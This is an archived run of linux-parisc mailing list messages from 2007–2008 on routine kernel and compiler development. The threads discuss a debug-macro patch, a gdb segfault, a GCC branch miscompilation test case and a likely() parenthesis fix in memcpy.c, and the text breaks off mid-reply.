User-Agent: Mozilla-Thunderbird 2.0.0.6 (X11/20071009)
In-Reply-To: <20071228075610.GD17782@colo.lackof.org>
X-DCC-scarlet.be-Metrics: guri 20001; Body=3 Fuz1=3 Fuz2=3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:55
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/55>

Grant Grundler wrote:
> On Sat, Dec 22, 2007 at 01:45:45PM +0000, rubisher wrote:
>> Hello *,
>>
>> This seems to be missed a while ago ;-)
>>
>> --- drivers-parisc-iommu-helpers.h-git20071218	2007-12-21 
>> 19:02:38.000000000 +0000
>> +++ drivers-parisc-iommu-helpers.h-git20071218.new	2007-12-22 
>> 13:39:04.000000000 +0000
>> @@ -29,7 +29,7 @@
>>  		long size;
>>
>>  		DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
>> -			   (unsigned long)sg_dma_address(startsg), cnt,
>> +			   (unsigned long)sg_dma_address(startsg), size,
> 
> Sorry - but this is wrong. "size" isn't initialized until later.
Agree with you: size is initialized later.

Anyway cnt variable was gone:
# grep cnt drivers/parisc/iommu-helpers.h
                            (unsigned long)sg_dma_address(startsg), cnt,

and imo it was with this patch:
<http://cvs.parisc-linux.org/linux-2.6/drivers/parisc/ccio-dma.c?r1=1.11&r2=1.12&makepatch=1&diff_format=u>

the interesting hunk's part was:
-		int cnt = sg_dma_len(startsg);
-		sg_dma_len(startsg) = 0;
+		unsigned long vaddr;
+		long size;

  		DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
  			   (unsigned long)sg_dma_address(startsg), cnt,
  			   sg_virt_addr(startsg), startsg->length
  		);

+

(and make a kernel with DEBUG_CCIO_RUN_SG failed with an error at this place, so we need to patch ;-)

> "cnt" was the thing I needed/wanted dumped.
> 
So may be something like:

                 DBG_RUN_SG(" %d : %08lx/%05x %08lx/%05x\n", nents,
-                          (unsigned long)sg_dma_address(startsg), cnt,
+                          (unsigned long)sg_dma_address(startsg), sg_dma_len(startsg),
                            sg_virt_addr(startsg), startsg->length
                 );

Tx,
	r.

> cheers,
> grant
> 
>>  			   sg_virt_addr(startsg), startsg->length
>>  		);
>> === <> ===
>>
>> Cheers,
>> 	r.
>> -
>> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
>> the body of a message to majordomo@vger.kernel.org
>> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: segv doing execv
Date: Fri, 28 Dec 2007 10:52:56 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200712281553.lBSFrCFK024927@hiauly1.hia.nrc.ca>
References: <119aab440712272012g3ff7c5c6n5e16437bc5dd6003@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1198857212 27885 80.91.229.12 (28 Dec 2007 15:53:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Dec 2007 15:53:32 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 28 16:53:44 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J8HWo-0005OA-EY
	for glpp-linux-parisc@gmane.org; Fri, 28 Dec 2007 16:53:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753987AbXL1PxV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Dec 2007 10:53:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753288AbXL1PxV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Dec 2007 10:53:21 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4507 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753987AbXL1PxU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Dec 2007 10:53:20 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBSFrD6W024951;
	Fri, 28 Dec 2007 10:53:18 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBSFrCFK024927;
	Fri, 28 Dec 2007 10:53:12 -0500 (EST)
In-Reply-To: <119aab440712272012g3ff7c5c6n5e16437bc5dd6003@mail.gmail.com> from "Carlos O'Donell" at Dec 27, 2007 11:12:23 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:56
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/56>

> I don't recognize the assembler dump as any particularly important
> sequence.

Ok, then there's no hope.

> > I'm currently trying to use the debug libraries.  It seems gdb won't
> > load the debug libraries when a failure occurs with non-debug libs.
> 
> Do you actually mean "stripped libraries" vs. "unstripped libraries?"

Yes, the ones with debug info (i.e., those in /usr/lib/debug).

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: GCC incorect branching bug
Date: Sun, 30 Dec 2007 23:08:20 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20071230230820.637c0c3a@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_CGxbRhnRf/PSlSpOxq9NTqr"
X-Trace: ger.gmane.org 1199054690 15731 80.91.229.12 (30 Dec 2007 22:44:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 30 Dec 2007 22:44:50 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 30 23:45:05 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J96u1-0007CY-4V
	for glpp-linux-parisc@gmane.org; Sun, 30 Dec 2007 23:45:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751117AbXL3Wom (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Dec 2007 17:44:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752095AbXL3Wom
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 30 Dec 2007 17:44:42 -0500
Original-Received: from cable-85.28.84.48.coditel.net ([85.28.84.48]:2720 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751117AbXL3Wom (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Dec 2007 17:44:42 -0500
X-Greylist: delayed 2159 seconds by postgrey-1.27 at vger.kernel.org; Sun, 30 Dec 2007 17:44:41 EST
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.68)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1J96Ki-0002ER-RK
	for linux-parisc@vger.kernel.org; Sun, 30 Dec 2007 23:08:37 +0100
X-Mailer: Claws Mail 3.0.0 (GTK+ 2.12.1; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:57
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/57>

--MP_CGxbRhnRf/PSlSpOxq9NTqr
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline



Hello all,

It seems that current gcc suffers from a branching bug.
Please see http://bugs.gentoo.org/show_bug.cgi?id=203543 for the full
bug details.

As stated in the bug details, simply compile the attached test case
with different optimisation levels and the result will differ.

This seems to be happening for gcc-4.1.2 up to the latest 4.3.

Gentoo's gcc includes the latest cbranch patches found in the debian
one. Let me know if more info is needed.

Regards,
  Guy


-- 
Guy Martin
Gentoo Linux - HPPA port lead

--MP_CGxbRhnRf/PSlSpOxq9NTqr
Content-Type: text/x-csrc; name=test-branching-bug.c
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=test-branching-bug.c


int ret1() { return -1; }

int main(int argc, char **argv) {
        int i = ret1();
        if(i >= -10000) { i = -i; } // should execute
        return i+10;
}

--MP_CGxbRhnRf/PSlSpOxq9NTqr--
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC incorect branching bug
Date: Sun, 30 Dec 2007 20:04:09 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200712310104.lBV149R3025579@hiauly1.hia.nrc.ca>
References: <20071230230820.637c0c3a@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1199064410 5105 80.91.229.12 (31 Dec 2007 01:26:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Dec 2007 01:26:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 31 02:27:04 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J99Qk-0001rR-MO
	for glpp-linux-parisc@gmane.org; Mon, 31 Dec 2007 02:27:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751313AbXLaB0j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 30 Dec 2007 20:26:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753741AbXLaB0j
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 30 Dec 2007 20:26:39 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4749 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750893AbXLaB0i (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 30 Dec 2007 20:26:38 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBV14Atj025580;
	Sun, 30 Dec 2007 20:04:15 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBV149R3025579;
	Sun, 30 Dec 2007 20:04:09 -0500 (EST)
In-Reply-To: <20071230230820.637c0c3a@bleh.bxl.tuxicoman.be> from "Guy Martin" at Dec 30, 2007 11:08:20 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:58
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/58>

> It seems that current gcc suffers from a branching bug.
> Please see http://bugs.gentoo.org/show_bug.cgi?id=203543 for the full
> bug details.

Without looking, I would guess this another reorg bug due to
delay slot optimizations.  There was one fixed on head a couple
of weeks ago.

Would you please file a GCC PR and add me to CC list?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC incorect branching bug
Date: Mon, 31 Dec 2007 09:23:12 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20071231092312.6935a7df.gmsoft@tuxicoman.be>
References: <20071230230820.637c0c3a@bleh.bxl.tuxicoman.be>
	<200712310104.lBV149R3025579@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1199089438 18682 80.91.229.12 (31 Dec 2007 08:23:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Dec 2007 08:23:58 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 31 09:24:13 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J9FwR-0003ru-Hi
	for glpp-linux-parisc@gmane.org; Mon, 31 Dec 2007 09:24:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753730AbXLaIXt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Dec 2007 03:23:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753745AbXLaIXt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 31 Dec 2007 03:23:49 -0500
Original-Received: from cable-85.28.84.48.coditel.net ([85.28.84.48]:3726 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753587AbXLaIXs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Dec 2007 03:23:48 -0500
Original-Received: from [172.22.0.4] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtps (TLSv1:AES256-SHA:256)
	(Exim 4.68)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1J9Fw1-0002h7-4U; Mon, 31 Dec 2007 09:23:45 +0100
In-Reply-To: <200712310104.lBV149R3025579@hiauly1.hia.nrc.ca>
X-Mailer: Sylpheed 2.4.5 (GTK+ 2.10.14; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:59
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/59>




> 
> Would you please file a GCC PR and add me to CC list?
> 


Hi Dave,

Here you go :

http://gcc.gnu.org/bugzilla/show_bug.cgi?id=34627

I've added you in the CC list already.

Cheers,
  Guy

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC incorect branching bug
Date: Mon, 31 Dec 2007 09:43:19 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200712311443.lBVEhJog013224@hiauly1.hia.nrc.ca>
References: <20071231092312.6935a7df.gmsoft@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1199112351 19910 80.91.229.12 (31 Dec 2007 14:45:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 31 Dec 2007 14:45:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: gmsoft@tuxicoman.be (Guy Martin)
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 31 15:46:05 2007
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1J9Lu0-00016e-7y
	for glpp-linux-parisc@gmane.org; Mon, 31 Dec 2007 15:46:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751240AbXLaOpm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 31 Dec 2007 09:45:42 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752527AbXLaOpm
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 31 Dec 2007 09:45:42 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4766 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751240AbXLaOpl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 31 Dec 2007 09:45:41 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id lBVEjYbw013328
	for <linux-parisc@vger.kernel.org>; Mon, 31 Dec 2007 09:45:40 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id lBVEhJog013224;
	Mon, 31 Dec 2007 09:43:19 -0500 (EST)
In-Reply-To: <20071231092312.6935a7df.gmsoft@tuxicoman.be> from "Guy Martin" at Dec 31, 2007 09:23:12 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:60
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/60>

> http://gcc.gnu.org/bugzilla/show_bug.cgi?id=34627

Thanks.  It helps when others file bug reports.  If I file all the reports,
other GCC developers don't pay as much attention.  It also shows the port
is being used.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: What's up of this if (likely()) bracing?
Date: Thu,  3 Jan 2008 12:37:12 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <JU2GA0$1DD13473BA78D945C68E7311CB765D2D@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1199360242 20800 80.91.229.12 (3 Jan 2008 11:37:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Jan 2008 11:37:22 +0000 (UTC)
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 03 12:37:42 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JAOOK-0004U1-MF
	for glpp-linux-parisc@gmane.org; Thu, 03 Jan 2008 12:37:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752554AbYACLhR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Jan 2008 06:37:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752893AbYACLhR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 3 Jan 2008 06:37:17 -0500
Original-Received: from guri.is.scarlet.be ([193.74.71.22]:51188 "EHLO
	guri.is.scarlet.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752554AbYACLhQ convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Jan 2008 06:37:16 -0500
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
        by guri.is.scarlet.be  with ESMTP id m03BbD028560
        for <linux-parisc@vger.kernel.org>;
        Thu, 3 Jan 2008 12:37:13 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: elist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:61
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/61>

Hello *,

I am not sure to have perfectly understand all subtle details of likely() &
unlikely() macros but I think there's some brace at the bad place in following
chunk:
--- arch/parisc/lib/memcpy.c.Orig	2007-10-18 15:27:30.000000000 +0000
+++ arch/parisc/lib/memcpy.c	2008-01-03 10:17:52.000000000 +0000
@@ -299,7 +299,7 @@
 
 	/* Check alignment */
 	t1 = (src ^ dst);
-	if (unlikely(t1 & (sizeof(double)-1)))
+	if (unlikely(t1 & (sizeof(double) - 1)))
 		goto unaligned_copy;
 
 	/* src and dst have same alignment. */
@@ -405,7 +405,7 @@
 
 unaligned_copy:
 	/* possibly we are aligned on a word, but not on a double... */
-	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
+	if (likely((t1 & (sizeof(unsigned int) - 1)) == 0)) {
 		t2 = src & (sizeof(unsigned int) - 1);
 
 		if (unlikely(t2 != 0)) {
=== <> ===
First hunk is just to add some whitespace?

Otoh for the second hunk, my reading of the original stuff was that:
> likely(t1 & (sizeof(unsigned int)-1)) 
i.e. likely's macro embraced only "t1 & (sizeof(unsigned int)-1)" in place of
"(t1 & (sizeof(unsigned int)-1)) == 0".

What's your opinion?

Tia,
    r.
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/

-
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:01:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: What's up of this if (likely()) bracing?
Date: Fri, 4 Jan 2008 19:13:58 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <20080105021358.GB16725@colo.lackof.org>
References: <JU2GA0$1DD13473BA78D945C68E7311CB765D2D@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1199499261 27903 80.91.229.12 (5 Jan 2008 02:14:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 5 Jan 2008 02:14:21 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jan 05 03:14:40 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JAyYa-0003ip-08
	for glpp-linux-parisc@gmane.org; Sat, 05 Jan 2008 03:14:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754484AbYAECOR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Jan 2008 21:14:17 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754492AbYAECOR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 4 Jan 2008 21:14:17 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:49500 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754484AbYAECOQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Jan 2008 21:14:16 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8BFEF3382C4;
	Fri,  4 Jan 2008 19:14:15 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16635-08; Fri, 4 Jan 2008 19:13:58 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B23CF3382C3; Fri,  4 Jan 2008 19:13:58 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <JU2GA0$1DD13473BA78D945C68E7311CB765D2D@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:62
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/62>

On Thu, Jan 03, 2008 at 12:37:12PM +0100, rubisher wrote:
> Hello *,
> 
> I am not sure to have perfectly understand all subtle details of likely() &
> unlikely() macros but I think there's some brace at the bad place in following
> chunk:
> --- arch/parisc/lib/memcpy.c.Orig	2007-10-18 15:27:30.000000000 +0000
> +++ arch/parisc/lib/memcpy.c	2008-01-03 10:17:52.000000000 +0000
> @@ -299,7 +299,7 @@
>  
>  	/* Check alignment */
>  	t1 = (src ^ dst);
> -	if (unlikely(t1 & (sizeof(double)-1)))
> +	if (unlikely(t1 & (sizeof(double) - 1)))

Please submit separate patches for the white space clean up.

>  		goto unaligned_copy;
>  
>  	/* src and dst have same alignment. */
> @@ -405,7 +405,7 @@
>  
>  unaligned_copy:
>  	/* possibly we are aligned on a word, but not on a double... */
> -	if (likely(t1 & (sizeof(unsigned int)-1)) == 0) {
> +	if (likely((t1 & (sizeof(unsigned int) - 1)) == 0)) {
>  		t2 = src & (sizeof(unsigned int) - 1);
>  
>  		if (unlikely(t2 != 0)) {
> === <> ===
> First hunk is just to add some whitespace?
> 
> Otoh for the second hunk, my reading of the original stuff was that:
> > likely(t1 & (sizeof(unsigned int)-1)) 
> i.e. likely's macro embraced only "t1 & (sizeof(unsigned int)-1)" in place of
> "(t1 & (sizeof(unsigned int)-1)) == 0".
> 
> What's your opinion?

I think you are right. normally likely() and unlikely() are intended
to be used with boolean expressions and that's obviously not the case.

Please resubmit this change separately and add "signed-off-by" lines
